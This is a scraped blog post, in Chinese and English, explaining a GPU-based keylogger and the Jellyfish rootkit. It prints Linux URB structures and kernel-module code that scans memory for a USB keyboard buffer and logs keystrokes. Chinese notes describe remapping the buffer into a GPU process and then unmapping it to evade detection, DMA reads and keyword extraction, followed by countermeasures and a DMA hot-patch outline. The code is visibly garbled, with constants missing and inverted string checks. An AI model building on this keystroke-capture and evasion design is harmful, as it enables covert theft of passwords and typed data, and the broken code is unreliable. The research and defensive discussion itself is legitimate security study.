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" alt="" />

0x4: Locating the Keyboard Buffer

In Linux, an attached USB device is represented by a USB Request Block (URB) structure, defined in the linux/usb.h header file of the Linux source tree.
\linux-2.6.32.63\include\linux\usb.h

struct urb
{
/* private: usb core and host controller only fields in the urb */
struct kref kref; /* reference count of the URB */
void *hcpriv; /* private data for host controller */
atomic_t use_count; /* concurrent submissions counter */
atomic_t reject; /* submissions will fail */
int unlinked; /* unlink error code */ /* public: documented fields in the urb that can be used by drivers */
struct list_head urb_list; /* list head for use by the urb's
* current owner */
struct list_head anchor_list; /* the URB may be anchored */
struct usb_anchor *anchor;
struct usb_device *dev; /* (in) pointer to associated device */
struct usb_host_endpoint *ep; /* (internal) pointer to endpoint */
unsigned int pipe; /* (in) pipe information */
int status; /* (return) non-ISO status */
unsigned int transfer_flags; /* (in) URB_SHORT_NOT_OK | ...*/
void *transfer_buffer; /* (in) associated data buffer */
dma_addr_t transfer_dma; /* (in) dma addr for transfer_buffer */
struct usb_sg_request *sg; /* (in) scatter gather buffer list */
int num_sgs; /* (in) number of entries in the sg list */
u32 transfer_buffer_length; /* (in) data buffer length */
u32 actual_length; /* (return) actual transfer length */
unsigned char *setup_packet; /* (in) setup packet (control only) */
dma_addr_t setup_dma; /* (in) dma addr for setup_packet */
int start_frame; /* (modify) start frame (ISO) */
int number_of_packets; /* (in) number of ISO packets */
int interval; /* (modify) transfer interval
* (INT/ISO) */
int error_count; /* (return) number of ISO errors */
void *context; /* (in) context for completion */
usb_complete_t complete; /* (in) completion routine */
struct usb_iso_packet_descriptor iso_frame_desc[];
/* (in) ISO ONLY */
};

For a USB keyboard device, in particular, the keyboard buffer is part of the URB structure, in the field transfer_buffer. Unfortunately, the memory offset where the URB structure is placed is different every time the system restarts.
To locate the exact offset of the keyboard buffer, we have to scan the whole memory sequentially. However, modern OSes, including Linux and Windows, do not allow users to accessphysical memory regions that have not been assigned to them. An access to a page that is not mapped to a process’ virtual address space is typically considered illegal, resulting in a segmentation fault.

To access the memory regions where the OS kernel and data structures reside, the memory scanning phase of the keylogger needs to run with administrative privileges
Linux offers the /dev/mem and /dev/kmem special files to allow a privileged user to access the physical memory and the kernel virtual memory, respectively.
For security reasons though, recent distributions disable them by default; access to the /dev/mem and /dev/kmem files is allowed only if the Linux kernel has been explicitly compiled without the option CONFIG_STRICT_DEVMEM=y

static int __init scan_start(void){
unsigned long long i; for(i = ; i < ULLONG_MAX; i += 0x10)
{
struct urb *urbp = (struct urb *)x(i);
if(((urbp->dev % 0x400) == ) && //we begin to search for pointers to USB device structures. Such pointers are memory-aligned to 0x400 boundaries
((urbp->transfer_dma % 0x20) == ) && //the corresponding transfer_dma fields are aligned to 0x20 boundaries
(urbp->transfer_buffer_length == ) && //the field transfer_buffer_length contains the appropriate length (8 bytes)
(urbp->transfer_buffer != NULL) &&
/*
the product field contains any of the substrings “usb” and “keyboard” (for wired USB keyboards),
or “usb” and receiver” (for wireless keyboard/mouse sets).
*/
strncmp(urbp->dev->product, "usb", ) &&
strncmp(urbp->dev->product, "keyboard", ))
{
// found possible keyboard buffer
char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
kbuf = urbp->transfer_buffer;
write_to_file(log, kbuf, sizeof(kbuf));
char* newline = "\n";
write_to_file(log, newline, sizeof(newline));
}
}

0x5: Capturing Keystrokes

. 键盘是USB外设的一种,Linux将键盘视为一种字符设备,每个USB外设都对应于内存中的一个struct urb实例
. 因为内存中的struct urb实例每次加载(键盘插拔)都会变动,因此借助/dev/mem、/dev/kmem内核接口文件,在超级用户权限下对物理内存进行遍历,找到"struct urb->transfer_buffer",即保存键盘击键缓存的内存地址
. 寻找键盘数据缓存内存地址采取了"特征匹配"的思路,即目标数据结构满足某些特征(内存地址对齐、字段值)
. NVIDIA CUDA devices和用户态GPU管理程序(host GPU controller process)共享一块内存,因此,如果要通过GPU读取键盘数据buffer,就需要将键盘数据buffer映射到用户态GPU管理程序(host GPU controller process)的虚拟内存空间中,这可以通过修改目标进程的页表来实现(需要借助LKM实现)
) 在初始化阶段,controller process调用mmap系统调用,申请了一大块内存
) 在完成键盘数据buffer的内核内存搜索之后,将mmap申请的这块内存重映射到键盘数据buffer所在的内存地址,这样,controller process(同时存在于GPU中的keylogger进程)就可以对键盘数据buffer进行监控,即GPU获取键盘buffer内存地址
) 在GPU对键盘buffer进行监控之后,controller process调用munmap,释放之前申请的内存,这样,controller process对键盘buffer的引用就会消失,以此来躲避基于"内存映射恶意映射检测"的入侵检测/杀软的检测
) 这里要理解的是,Rootkit这里通过修改进程的页表的唯一目的只是: 让GPU中的进程知道键盘buffer内存地址,获取地址后立即释放内存映射,之后的的内存读取全部通过DMA完成,不需要任何CPU交互
. Linux虚拟内存对物理内存提供了一层"保护视图",进程(即使是GPU中进程)不能任意读取整个物理内存,这对我们遍历扫描键盘缓存地址造成了困难,故采用DMA技术绕过这个限制
. GPU、GPU Memory就相当于另一套CPU、内存,只是大多数的入侵/恶意检测并不对GPU进行有效检测
. 全部工作完成后,GPU中的keylogger进程开始周期性(100ms)的对键盘buffer进行监控,捕获到的原始码被转化为ASCII字符,并临时保存在GPU内存中(显卡独有的内存)
. 在此之上,还可以利用GPU的并行计算能力,对捕获的击键数据进行实时分析处理,例如
) 提取关键字
) 正则匹配

0x6: COUNTERMEASURES(防御策略)

Current malware analysis and detection systems are tailored to CPU architectures only, and therefore are ineffective against GPU-based malware. Fortunately, however, malicious code that runs on a GPU can be identified in several ways. To properly identify GPU-based malware though, existing defenses need to be enhanced with new functionality for the analysis of GPU machine code

. GPU Code Analysis
NVIDIA recently released cuda-gdb and cuda-memcheck, two debugger tools for CUDA applications . Runtime Detection
A possible mechanism for the detection of GPU-assisted malware can be based on the observation of DMA side effects. DMA malware has DMA side effects that can be reliably measured.
加强对DMA访问的管控

Relevant Link:

http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf
https://github.com/x0r1/Demon

5. DMA Hack

. 直接内存存取(DMA)是一种硬件机制,它允许外设组件来直接传输它们的 I/O 数据到和从主内存,而不需要包含系统处理器
. DMA是双向的,即数据流在外设和主内存之间双向流动
. 传统意义上说,内存的读写都要经过CPU的控制,到汇编这一层就是mov指令,但是DMA打破了这个规约
. 传统意义上说,CPU是计算机中唯一一个计算单元,但是GPU打破了这个规约
. 操作系统对输入输出的访问控制的"唯一路径"这个前提不再存在了,如果输入控制没做好,安全问题就就会伴随而来 . 使用DMA技术可以使用类似Linux .0实现的hotpatch技术
) 在外设(硬盘文件)中放置patchcode
) DMA可以让外设(硬盘文件)向主物理内存直接写入数据
) Hook DMA write function,使其写入目标地址重定向到Ring0需要Patch的内存地址
) 触发外设的DMA写入,让文件中的patchcode写入Ring0的指定地址
) 完成Hotpatch

Copyright (c) 2015 LittleHann All rights reserved

GPU keylogger && GPU Based rootkit(Jellyfish rootkit)的更多相关文章

  1. 『TensorFlow』分布式训练_其二_单机多GPU并行&GPU模式设定

    建议比对『MXNet』第七弹_多GPU并行程序设计 一.tensorflow GPU设置 GPU指定占用 gpu_options = tf.GPUOptions(per_process_gpu_mem ...

  2. Linux Rootkit Sample && Rootkit Defenser Analysis

    目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...

  3. [Attila GPU] ATTILA GPU Streamer Unit (D3D Input Assambler) 结构分析

    http://www.opengpu.org/forum.php?mod=viewthread&tid=40&highlight=Attila 查看: 7488|回复: 26    [ ...

  4. GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态

    GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态 一个Python模块,用于在Python中使用nvidia-smi以编程方式从NVIDA GPU获取GP ...

  5. Android studio GPU Monitor :GPU Profiling needs to be enabled in the device's developer options

    Android studio GPU Monitor 在真机上不能使用,提示:GPU Profiling needs to be enabled in the device's developer o ...

  6. tensorflow中使用指定的GPU及GPU显存 CUDA_VISIBLE_DEVICES

    参考: https://blog.csdn.net/jyli2_11/article/details/73331126 https://blog.csdn.net/cfarmerreally/arti ...

  7. (原)tensorflow中使用指定的GPU及GPU显存

    转载请注明出处: http://www.cnblogs.com/darkknightzh/p/6591923.html 参考网址: http://stackoverflow.com/questions ...

  8. Unity Profiler GPU Usage(GPU使用情况)

    一般情况下性能瓶颈都在CPU上,这儿也列举下几个常见的GPU耗时函数吧. 1 Render.Mesh 绘制网格面(没批处理的面) 2 Batch.DrawStatic 静态批处理 3 Batch.Dr ...

  9. tensorflow中使用指定的GPU及GPU显存

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本文目录 1 终端执行程序时设置使用的GPU 2 python代码中设置使用的GPU 3 设置tensorflow使用的显 ...

随机推荐

  1. Android -- View移动的六种方法

    layout() 如果你将滑动后的目标位置的坐标传递给layout(),这样子就会把view的位置给重新布置了一下,在视觉上就是view的一个滑动的效果. public class DragView ...

  2. (一)GATT Profile和GAP 简介(目前所有的BLE应用都基于GATT,所以也要了解是怎么一回事)-转发

    个人大总结:(先后顺序) 1.GAP协议定义多个角色(其中就有中心设备[GATT客户端](唯一)叫主设备||和外围设备[GATT服务端端](多个)也叫从设备). 2.先经过GAP协议,再有GATT协议 ...

  3. HTML5 postMessage 跨域交换数据

    前言 之前简单讲解了利用script标签(jsonp)以及iframe标签(window.name.location.hash)来跨域交换数据,今天我们来学习一下HTML5的api,利用postMes ...

  4. 优秀开源代码解读之JS与iOS Native Code互调的优雅实现方案

    简介 本篇为大家介绍一个优秀的开源小项目:WebViewJavascriptBridge. 它优雅地实现了在使用UIWebView时JS与ios 的ObjC nativecode之间的互调,支持消息发 ...

  5. 实现解耦-Spring.Net

    spring.net属于IOC(中文名:控制反转)的思想实现. 概念解释: 控制反转概念: 控制反转(Inversion of Control,缩写为IoC),是面向对象编程中的一种设计原则,可以用来 ...

  6. 【前端积累】createElement createTextNode

    <!DOCTYPE html> <html><!--树根--> <head> <meta charset="utf-8"> ...

  7. 52-which 显示系统命令所在目录

    显示系统命令所在目录 which command-list 参数 command-list 是which搜索的一条或多条命令(实用程序) 示例 which 单条命令 $ which ls /bin/l ...

  8. 给菜单加个优雅的unselect事件

    先上图,说场景 假设默认选中的是item1,我现在选中item3了,有时候需要对item1做一些别的处理.常见的做法是,切换选中状态前找到当前选中(item1),或者每次选中后选中的项记录在中间变量. ...

  9. JNI系列——常见错误

    1.本地方法没有找到 原因一:在Java代码中没有加载对应的类 原因二:在.c文件中将本地的方法名转换错误 2.本地库返回为空 原因一:加载的库名称错误 原因二:生成的库与部署设备平台错误

  10. Android NestedScrolling与分发机制

    在Android5.0之间要实现控件的嵌套滑动,都是要自己处理View事件即分发机制. 共有三个方法:    dispatchTouchEvent().onInterceptTouchEvent()和 ...